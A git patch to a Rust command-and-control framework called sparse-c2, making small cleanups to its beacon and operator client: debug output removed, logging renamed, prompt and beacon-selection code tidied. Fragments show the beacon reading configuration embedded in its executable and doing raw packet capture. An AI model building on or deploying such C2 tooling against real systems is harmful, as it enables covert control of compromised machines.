From 2f9746fa25fc3e5610a580527e38df5941790c2c Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 5 Dec 2023 15:16:20 -0500 Subject: [PATCH] added some creature comforts and cleaned logging --- sparse-c2/sparse-c2-beacon/src/main.rs | 4 +--- sparse-c2/sparse-c2-client/src/main.rs | 12 ++---------- 2 files changed, 3 insertions(+), 13 deletions(-) diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs index d18714c..c5af605 100644 --- a/sparse-c2/sparse-c2-beacon/src/main.rs +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -331,7 +331,6 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { loop { let state = socket_handle.state_changed.recv().await; - dbg!(&state); match state { Some(TcpState::Established) => break, _ => {} @@ -383,7 +382,7 @@ async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { async fn main() -> anyhow::Result<()> { simple_logger::SimpleLogger::new() .with_level(log::LevelFilter::Info) - .with_module_level("tcp_test", log::LevelFilter::Info) + .with_module_level("sparse_c2_beacon", log::LevelFilter::Info) .init()?; let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; @@ -407,7 +406,6 @@ async fn main() -> anyhow::Result<()> { let mut interface = pcap_sys::Interface::::new(&ifname)?; let srcip = conf.source_ip; - dbg!(srcip, src_mac, dst_mac); // let dst_mac = [0x00, 0x16, 0x3e, 0xde, 0xa9, 0x93]; diff --git a/sparse-c2/sparse-c2-client/src/main.rs b/sparse-c2/sparse-c2-client/src/main.rs index cc9a6bb..3526f3c 100644 --- a/sparse-c2/sparse-c2-client/src/main.rs +++ b/sparse-c2/sparse-c2-client/src/main.rs @@ -138,7 +138,7 @@ async fn main() -> anyhow::Result<()> { loop { let mut buffer = String::new(); match selected_beacon { - Some(ref bid) => print!("{} >", bid.0), + Some(ref bid) => print!("{} > ", bid.0), None => print!("> "), }; stdout.flush()?; @@ -156,15 +156,7 @@ async fn main() -> anyhow::Result<()> { } Some("select") => { let beacon = items.next(); - - match beacon { - Some(bid) => { - selected_beacon = Some(BeaconId(bid.to_owned())); - } - None => { - eprintln!("No beacon ID selected") - } - } + selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId); } Some("cmd") => { let parts = items.collect::>();